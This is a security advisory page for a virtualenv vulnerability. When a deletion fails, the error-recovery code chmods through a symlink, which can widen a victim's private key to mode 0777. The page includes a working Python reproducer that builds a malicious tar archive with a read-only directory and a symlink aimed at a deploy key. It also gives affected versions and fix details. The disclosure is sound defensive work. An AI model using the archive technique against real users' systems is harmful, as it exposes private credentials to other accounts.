CVE-2026-113724: virtualenv: Deletion recovery can change a symlink target's mode

Published Oct 20, 2026
·
Updated

Summary

The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination.

Anthropic's OSS Scanner reported this as ANT-2026-UK90QC27 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permission recovery after a filesystem deletion error.

Attacker-controlled input

A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have permission to change the target mode. This is conditional error handling, not the normal successful unlink path.

Affected code

The relevant 21.14.8 source is in safedelete().

Mechanism

safedelete() asks shutil.rmtree() to retry a failed removal after adding owner-write permission. Its error handler calls os.lstat(path) for mode bits but os.chmod(path, ...) to apply them. For a symlink, lstat reads the link's mode while chmod follows the link. A link inside a read-only directory can therefore cause the target's mode to become 0777 before the retry fails. The target must be owned by the invoking user and initially not writable by that user; root does not reach this failure path.

Reproduction and evidence

The scanner packed a project containing a mode-0555 venv/bin/python/ directory and a symlink inside it pointing to the user's mode-0400 keys/deploy.pem. An unprivileged user unpacked it and ran both plain virtualenv venv and virtualenv --clear venv. Both commands exited with PermissionError naming the directory inside venv, while the key's mode changed from 0400 to 0777. A control archive with a writable directory completed normally and left the key at 0400. The read-only mode survives tar or cp -a; a normal git clone does not preserve this setup.

This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to #3222, first released in 21.7.5. PR #3427 avoids POSIX mode changes on deletion failure and handles Windows read-only entries without following reparse points.

Attack sequence

mermaid sequenceDiagram participant A as Prepared read-only venv tree participant V as safedelete error handler participant L as Symlink in venv participant K as User's 0400 key A->>V: virtualenv venv or --clear venv V->>L: unlink fails in 0555 directory V->>L: lstat returns link mode 0777 V->>L: chmod follows symlink L->>K: target mode becomes 0777 V-->>A: retry fails with PermissionError Note over K: Other accounts can use new mode if parent paths are traversable

Reproducer files

The following files are from the scanner report for ANT-2026-UK90QC27. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import os import stat import subprocess import sys import tempfile from pathlib import Path

NOBODY = 65534

work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-")) os.chmod(work, 0o755) os.chown(work, NOBODY, NOBODY)

the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable makearchive = [sys.executable, "/tmp/repro.d/makeprojectarchive.py"] subprocess.run([makearchive, work / "read-only.tar", "555"], check=True) subprocess.run([makearchive, work / "writable.tar", "755"], check=True) subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True)

from here on an ordinary user: root's unlink never fails, so safedelete's error handler would never run os.setgroups([]) os.setgid(NOBODY) os.setuid(NOBODY) os.umask(0o022)

def unpacknexttokeyandrunvirtualenv(label, homename, archivename, options): home = work / homename archive = work / archivename key = home / "keys" / "deploy.pem" key.parent.mkdir(parents=True) key.writetext("PRIVATE KEY\n") key.chmod(0o400) subprocess.run(["tar", "-xf", archive], cwd=home, check=True)

modebefore = stat.SIMODE(key.stat().stmode) command = ["virtualenv", "--no-periodic-update", "-q", options, "venv"] # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it result = subprocess.run( command, cwd=home / "proj", env={os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, ) modeafter = stat.SIMODE(key.stat().stmode)

print(f"{label} {archivename}, {' '.join(command)}: exit {result.returncode} {result.stdout.strip()}") print(f"{label} {key} mode {modebefore:#o} -> {modeafter:#o}") return modebefore, modeafter

control = unpacknexttokeyandrunvirtualenv("CONTROL ", "home-control", "writable.tar") default = unpacknexttokeyandrunvirtualenv("OBSERVED", "home-default", "read-only.tar") clear = unpacknexttokeyandrunvirtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear")

check: the key lives outside the destination; virtualenv has no business changing its mode print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK")

repro.d/makeprojectarchive.py

text #!/usr/bin/env python3 import sys import tarfile

archivepath = sys.argv[1] pythonfoldermode = int(sys.argv[2], 8)

with tarfile.open(archivepath, "w") as archive: pythonfolder = tarfile.TarInfo("proj/venv/bin/python") pythonfolder.type = tarfile.DIRTYPE pythonfolder.mode = pythonfoldermode # without the write bit, unlinking an entry inside it fails with EACCES archive.addfile(pythonfolder)

link = tarfile.TarInfo("proj/venv/bin/python/entry") link.type = tarfile.SYMTYPE link.linkname = "../../../../keys/deploy.pem" # the victim's key, beside the unpacked proj/ archive.addfile(link)

Impact

Permission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion failure to occur on a link and the invoking user to have permission to change the target mode.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that opens the entry itself without following reparse points and denies replacement until the attribute update finishes. It rejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains outside this protection.

Fix: PR #3427.

Known mitigation

Avoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before retrying with broader privileges.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.

Other sources

virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the safedelete() deletion error handler responds to a failed removal by reading mode bits with os.lstat(path) and applying owner-write permission with os.chmod(path, ...), which follows a symlink. A planted link inside a read-only directory can therefore cause a victim-owned target outside the destination that is initially not writable by the invoking user to become broadly writable before the retry fails, provided that user owns the target and can change its mode. Another account can use the widened mode only if it can traverse the target's parent directories; root does not reach the demonstrated failure path, and the operation does not itself read the target. This issue is fixed in version 21.14.9.

— Ubuntu

virtualenv: Deletion recovery can change a symlink target's mode

— Microsoft

Affected Software

17 affected componentsFixes available
pypi/virtualenv<21.14.9
pip/virtualenv<21.14.9
21.14.9
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
ubuntu/python-virtualenv*
debian/python-virtualenv<=20.17.1+ds-1, <=20.31.2+ds-1+deb13u1, <=21.5.1+ds-1
21.15.6+ds-2
virtualenv virtualenv>=21.7.5<21.14.9
pip/virtualenv>=21.7.5<21.14.9
21.14.9
debian/python-virtualenv*
debian/python-virtualenv*
debian/python-virtualenv*
bitnami/virtualenv<21.14.9
21.14.9

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/virtualenv to a version that resolves this vulnerability.

    Fixed in 21.14.9
  2. Upgrade

    Upgrade bitnami/virtualenv to a version that resolves this vulnerability.

    Fixed in 21.14.9
  3. Upgrade

    Upgrade debian/python-virtualenv to a version that resolves this vulnerability.

    Fixed in 21.15.6+ds-2
  4. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 21.14.9
  5. Compensating control

    Avoid recursively clearing destinations populated by another account.

Event History

Oct 20, 2026
CVE Published
via Ubuntu·12:00 AM
Data Sourced
via Ubuntu·12:00 AM
RemedyDescriptionSeverityAffected Software
CVE Published
via MITRE·07:53 PM
Data Sourced
via MITRE·07:53 PM
DescriptionSeverityWeakness
Advisory Published
via OSV·08:17 PM
Data Sourced
via NVD·08:17 PM
DescriptionSeverityWeakness
Oct 21, 2026
Advisory Published
via GitHub·09:31 PM
Data Sourced
via GitHub·09:31 PM
DescriptionSeverityWeaknessAffected Software
Oct 30, 2026
Data Sourced
via Microsoft·08:02 AM
DescriptionSeverityWeakness
Nov 17, 2026
Data Sourced
via NVD·04:43 PM
RemedyAffected Software
Nov 19, 2026
Data Sourced
via OSV·12:38 AM
Affected Software

Frequently Asked Questions

1

Who is realistically exposed to this issue?

Users running virtualenv versions earlier than 21.14.9 may be exposed when a planted symlink exists inside a read-only directory and points to a victim-owned file outside the deletion destination. The invoking user must own the target and be permitted to change its mode; root does not reach the demonstrated failure path.

2

What does an attacker need to do to exploit it?

An attacker needs to plant a symlink in the directory being processed such that deletion fails and triggers virtualenv's recovery handler. The symlink must point to a target owned by the user invoking virtualenv that is initially not writable by that user.

3

What is the practical impact of the permission change?

The recovery handler can make the symlink target broadly writable before the deletion retry fails. A different account can use that widened access only if it can traverse the target's parent directories; the operation does not read the target itself.

4

What should be done if the affected version is in use?

Upgrade virtualenv to version 21.14.9 or later. Until then, avoid running affected versions against deletion destinations where untrusted users can plant symlinks, particularly within read-only directories.

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